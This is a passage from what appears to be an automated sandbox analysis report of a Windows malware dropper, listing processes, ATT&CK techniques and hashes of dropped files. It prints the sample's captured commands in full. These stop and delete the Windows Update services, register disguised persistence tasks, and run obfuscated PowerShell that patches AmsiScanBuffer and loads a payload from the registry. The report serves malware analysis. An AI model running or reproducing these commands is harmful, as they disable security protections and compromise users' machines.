    PID:1460
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2128
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2592
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2212
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2120
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3112
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2752
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:868
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:2092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:504
- C:\Windows\system32\winlogon.exe
  winlogon.exe
  2⤵
  PID:580
- - C:\Windows\System32\dllhost.exe
    C:\Windows\System32\dllhost.exe /Processid:{26a313b0-01d7-4c87-8068-40be827a737c}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 2904 -ip 2904
1⤵
PID:2592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 524 -ip 524
1⤵
PID:3652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:WrSLHnTodpsV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OawpxqLvNOeBkm,[Parameter(Position=1)][Type]$hVkAdonieg)$aEgEeotybfy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+'eg'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+''+'y'+''+'M'+''+'o'+''+'d'+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+'De'+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+''+[Char](84)+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+'le'+[Char](100)+''+','+'An'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$aEgEeotybfy.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+'l'+'N'+'a'+'m'+'e'+''+','+''+[Char](72)+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OawpxqLvNOeBkm).SetImplementationFlags('R'+'u'+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+'e'+',M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$aEgEeotybfy.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+'ke',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+'B'+[Char](121)+'S'+[Char](105)+''+'g'+',N'+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+'i'+'r'+'t'+'u'+[Char](97)+'l',$hVkAdonieg,$OawpxqLvNOeBkm).SetImplementationFlags('R'+'u'+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $aEgEeotybfy.CreateType();}$raExujiHFBVLD=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+'e'+''+'m'+''+'.'+''+'d'+''+'l'+'l')}).GetType(''+'M'+''+'i'+''+'c'+'ro'+'s'+''+[Char](111)+'ft'+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+'2'+'.'+''+'U'+''+'n'+'saf'+'e'+'r'+[Char](97)+''+[Char](69)+''+'x'+''+[Char](117)+''+[Char](106)+''+[Char](105)+''+'H'+''+'F'+'B'+[Char](86)+''+[Char](76)+''+[Char](68)+'');$LyfIRALPuoFRuy=$raExujiHFBVLD.GetMethod(''+'L'+''+[Char](121)+''+[Char](102)+'IR'+[Char](65)+''+'L'+''+'P'+'uo'+[Char](70)+''+[Char](82)+''+[Char](117)+''+'y'+'',[Reflection.BindingFlags]'P'+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+'ti'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$LFfHmIlSYcHJhOpVnob=WrSLHnTodpsV @([String])([IntPtr]);$ubjMRDSEfoEdvnfvavEJJH=WrSLHnTodpsV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VYGiphHjKob=$raExujiHFBVLD.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+'o'+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+'n'+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+''+'l'+'3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$YHYoFyAaKIsTuJ=$LyfIRALPuoFRuy.Invoke($Null,@([Object]$VYGiphHjKob,[Object](''+[Char](76)+''+'o'+''+[Char](97)+'d'+[Char](76)+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$tYgFPWUkQEzgRPqeo=$LyfIRALPuoFRuy.Invoke($Null,@([Object]$VYGiphHjKob,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+'al'+'P'+'r'+'o'+''+'t'+'ec'+[Char](116)+'')));$BebDmBQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YHYoFyAaKIsTuJ,$LFfHmIlSYcHJhOpVnob).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$drvTgHLnHQZygQUPz=$LyfIRALPuoFRuy.Invoke($Null,@([Object]$BebDmBQ,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+'S'+'c'+[Char](97)+''+'n'+''+'B'+''+'u'+''+[Char](102)+''+[Char](102)+'er')));$DTaMkkcYvv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tYgFPWUkQEzgRPqeo,$ubjMRDSEfoEdvnfvavEJJH).Invoke($drvTgHLnHQZygQUPz,[uint32]8,4,[ref]$DTaMkkcYvv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$drvTgHLnHQZygQUPz,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tYgFPWUkQEzgRPqeo,$ubjMRDSEfoEdvnfvavEJJH).Invoke($drvTgHLnHQZygQUPz,[uint32]8,0x20,[ref]$DTaMkkcYvv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+'A'+'R'+'E'+'').GetValue(''+[Char](100)+''+'i'+'al'+'e'+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:mOyajyggztCv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$JWUiQZVHLcNYLU,[Parameter(Position=1)][Type]$LvQCCXQIMf)$cCpgsxupOgp=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+'m'+'o'+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+'y'+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+''+[Char](84)+'y'+[Char](112)+''+'e'+'',''+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+''+','+''+[Char](80)+'u'+[Char](98)+''+'l'+'ic,'+[Char](83)+''+'e'+'a'+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+'An'+[Char](115)+''+'i'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+'a'+''+'s'+'s',[MulticastDelegate]);$cCpgsxupOgp.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g'+','+'Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$JWUiQZVHLcNYLU).SetImplementationFlags('Ru'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$cCpgsxupOgp.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+'u'+''+'b'+''+'l'+''+[Char](105)+''+'c'+''+','+''+'H'+'ide'+[Char](66)+''+'y'+'Si'+'g'+''+[Char](44)+'Ne'+'w'+'S'+'l'+''+'o'+'t'+[Char](44)+''+[Char](86)+'i'+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$LvQCCXQIMf,$JWUiQZVHLcNYLU).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'ti'+[Char](109)+''+'e'+','+'M'+''+[Char](97)+'n'+[Char](97)+'g'+[Char](101)+''+'d'+'');Write-Output $cCpgsxupOgp.CreateType();}$jMbgKFqyErfsY=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+'s'+''+[Char](116)+''+[Char](101)+''+'m'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('Mi'+[Char](99)+'r'+[Char](111)+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+'a'+[Char](102)+''+[Char](101)+'j'+[Char](77)+'bgK'+'F'+''+[Char](113)+''+[Char](121)+'Erf'+[Char](115)+''+[Char](89)+'');$FzZNoxnkYEcxgd=$jMbgKFqyErfsY.GetMethod(''+'F'+''+[Char](122)+''+[Char](90)+''+[Char](78)+'o'+[Char](120)+''+[Char](110)+''+'k'+'Y'+'E'+''+[Char](99)+''+[Char](120)+''+'g'+''+[Char](100)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+[Char](98)+'li'+'c'+''+[Char](44)+'Stat'+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PvbsrCpENIjSBTPJcqZ=mOyajyggztCv @([String])([IntPtr]);$VfdGQFVhWmjOGhPKobbmTG=mOyajyggztCv @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$xWwlYJdapbL=$jMbgKFqyErfsY.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+'n'+[Char](100)+'le').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$EPDmnNCUVqTUPg=$FzZNoxnkYEcxgd.Invoke($Null,@([Object]$xWwlYJdapbL,[Object](''+[Char](76)+'o'+'a'+'d'+[Char](76)+''+[Char](105)+'b'+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$LXdubwDMbHnHcPtId=$FzZNoxnkYEcxgd.Invoke($Null,@([Object]$xWwlYJdapbL,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'t'+[Char](117)+'a'+[Char](108)+''+[Char](80)+''+[Char](114)+'o'+'t'+''+[Char](101)+''+[Char](99)+'t')));$ovEcZZT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EPDmnNCUVqTUPg,$PvbsrCpENIjSBTPJcqZ).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'');$hvMhWmMqTyrPQbjBH=$FzZNoxnkYEcxgd.Invoke($Null,@([Object]$ovEcZZT,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+'ca'+[Char](110)+''+'B'+'uf'+[Char](102)+''+[Char](101)+''+'r'+'')));$eJPzlGHSrX=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LXdubwDMbHnHcPtId,$VfdGQFVhWmjOGhPKobbmTG).Invoke($hvMhWmMqTyrPQbjBH,[uint32]8,4,[ref]$eJPzlGHSrX);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hvMhWmMqTyrPQbjBH,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LXdubwDMbHnHcPtId,$VfdGQFVhWmjOGhPKobbmTG).Invoke($hvMhWmMqTyrPQbjBH,[uint32]8,0x20,[ref]$eJPzlGHSrX);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+'i'+'a'+''+[Char](108)+''+[Char](101)+''+'r'+''+[Char](115)+''+'t'+''+[Char](97)+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:216

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Filesize
226B

MD5
916851e072fbabc4796d8916c5131092

SHA1
d48a602229a690c512d5fdaf4c8d77547a88e7a2

SHA256
7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d

SHA512
07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
a49ec6be39415f9e158e74f3f8745957

SHA1
638b70ed653b79b22563316f23091422e6a2ee24

SHA256
83e4e74ed68999218568ded1ec45c93d03a7a142b696fc2be36aafff6b8e672d

SHA512
899499ab83a7642354677ef68549d409e1dca7956c824f3a83eac2a9585d655fc4136f45465d31c4791c3e533258cba35922c1e3c29c66e00e2c967ac42cd70d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
a7ce8cefc3f798abe5abd683d0ef26dd

SHA1
b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e

SHA256
5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a

SHA512
c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
455KB

MD5
ee0ad7cc2a5976a5c658da52092977a9

SHA1
c69b99d42a9f9886af74e6a75fd905a5d17d4792

SHA256
f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

SHA512
ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
455KB

MD5
ee0ad7cc2a5976a5c658da52092977a9

SHA1
c69b99d42a9f9886af74e6a75fd905a5d17d4792

SHA256
f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b

SHA512
ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17

Download Submit
memory/216-211-0x00007FF9E57F0000-0x00007FF9E59E5000-memory.dmp

Filesize
2.0MB

Download
memory/216-217-0x00007FF9E57F0000-0x00007FF9E59E5000-memory.dmp

Filesize
2.0MB

Download
memory/216-222-0x00007FF9C6530000-0x00007FF9C6FF1000-memory.dmp

Filesize
10.8MB

Download
memory/216-224-0x00007FF9E5330000-0x00007FF9E53EE000-memory.dmp

Filesize
760KB

Download
memory/216-223-0x00007FF9E57F0000-0x00007FF9E59E5000-memory.dmp

Filesize
2.0MB

Download
memory/216-212-0x00007FF9E5330000-0x00007FF9E53EE000-memory.dmp

Filesize
760KB

Download
memory/216-219-0x00007FF9E5330000-0x00007FF9E53EE000-memory.dmp

Filesize
760KB

Download
memory/216-210-0x00007FF9C6530000-0x00007FF9C6FF1000-memory.dmp

Filesize
10.8MB

Download
memory/868-207-0x00007FF9C5F20000-0x00007FF9C69E1000-memory.dmp

Filesize
10.8MB

Download
memory/868-206-0x00007FF9C5F20000-0x00007FF9C69E1000-memory.dmp

Filesize
10.8MB

Download
memory/936-166-0x0000000005660000-0x00000000056F2000-memory.dmp

Filesize
584KB

Download
memory/936-174-0x0000000005AF0000-0x0000000005AFA000-memory.dmp

Filesize
40KB

Download
memory/936-164-0x0000000000BC0000-0x0000000000D2C000-memory.dmp

Filesize
1.4MB

Download
memory/1520-133-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/1528-213-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1528-216-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1528-221-0x00007FF9E57F0000-0x00007FF9E59E5000-memory.dmp

Filesize
2.0MB

Download
memory/1528-218-0x00007FF9E57F0000-0x00007FF9E59E5000-memory.dmp

Filesize
2.0MB

Download
memory/1528-220-0x00007FF9E5330000-0x00007FF9E53EE000-memory.dmp

Filesize
760KB

Download
memory/2168-147-0x00000000065A0000-0x00000000065BE000-memory.dmp

Filesize
120KB

Download
memory/2168-154-0x00000000075E0000-0x00000000075E8000-memory.dmp

Filesize
32KB

Download
memory/2168-142-0x0000000005930000-0x0000000005996000-memory.dmp

Filesize
408KB

Download
memory/2168-143-0x0000000005A10000-0x0000000005A76000-memory.dmp

Filesize
408KB

Download
memory/2168-144-0x0000000006050000-0x000000000606E000-memory.dmp

Filesize
120KB

Download
memory/2168-145-0x0000000006660000-0x0000000006692000-memory.dmp

Filesize
200KB

Download
memory/2168-146-0x0000000070730000-0x000000007077C000-memory.dmp

Filesize
304KB

Download
memory/2168-149-0x0000000007370000-0x000000000738A000-memory.dmp

Filesize
104KB

Download
memory/2168-148-0x00000000079B0000-0x000000000802A000-memory.dmp

Filesize
6.5MB

Download
memory/2168-156-0x00000000085E0000-0x0000000008B84000-memory.dmp

Filesize
5.6MB

Download
memory/2168-140-0x0000000005100000-0x0000000005728000-memory.dmp

Filesize
6.2MB

Download
memory/2168-150-0x00000000073E0000-0x00000000073EA000-memory.dmp

Filesize
40KB

Download
memory/2168-139-0x0000000004A90000-0x0000000004AC6000-memory.dmp

Filesize
216KB

Download
memory/2168-151-0x0000000007630000-0x00000000076C6000-memory.dmp

Filesize
600KB

Download
memory/2168-155-0x0000000007700000-0x0000000007722000-memory.dmp

Filesize
136KB

Download
memory/2168-141-0x0000000005080000-0x00000000050A2000-memory.dmp

Filesize
136KB

Download
memory/2168-153-0x00000000075F0000-0x000000000760A000-memory.dmp

Filesize
104KB

Download
memory/2168-152-0x00000000075A0000-0x00000000075AE000-memory.dmp

Filesize
56KB

Download
memory/2228-192-0x00007FF9C5F20000-0x00007FF9C69E1000-memory.dmp

Filesize
10.8MB

Download
memory/2228-190-0x00000250F3EA0000-0x00000250F3EC2000-memory.dmp

Filesize
136KB

Download
memory/3492-183-0x0000000002849000-0x0000000002986000-memory.dmp

Filesize
1.2MB

Download
memory/3492-205-0x0000000002849000-0x0000000002986000-memory.dmp

Filesize
1.2MB

Download
memory/3492-182-0x0000000002338000-0x000000000283C000-memory.dmp

Filesize
5.0MB

Download
memory/3492-189-0x0000000002338000-0x000000000283C000-memory.dmp

Filesize
5.0MB

Download
memory/3896-188-0x0000000006730000-0x0000000006780000-memory.dmp

Filesize
320KB

Download
memory/3896-180-0x0000000004D90000-0x0000000004E9A000-memory.dmp

Filesize
1.0MB

Download
memory/3896-185-0x0000000005920000-0x000000000593E000-memory.dmp

Filesize
120KB

Download
memory/3896-184-0x00000000050D0000-0x0000000005146000-memory.dmp

Filesize
472KB

Download
memory/3896-187-0x0000000006F10000-0x000000000743C000-memory.dmp

Filesize
5.2MB

Download
memory/3896-181-0x0000000004CC0000-0x0000000004CFC000-memory.dmp

Filesize
240KB

Download
memory/3896-186-0x0000000006810000-0x00000000069D2000-memory.dmp

Filesize
1.8MB

Download
memory/3896-179-0x0000000004C60000-0x0000000004C72000-memory.dmp

Filesize
72KB

Download
memory/3896-178-0x00000000051C0000-0x00000000057D8000-memory.dmp

Filesize
6.1MB

Download
memory/3896-171-0x0000000000540000-0x0000000000560000-memory.dmp

Filesize
128KB

Download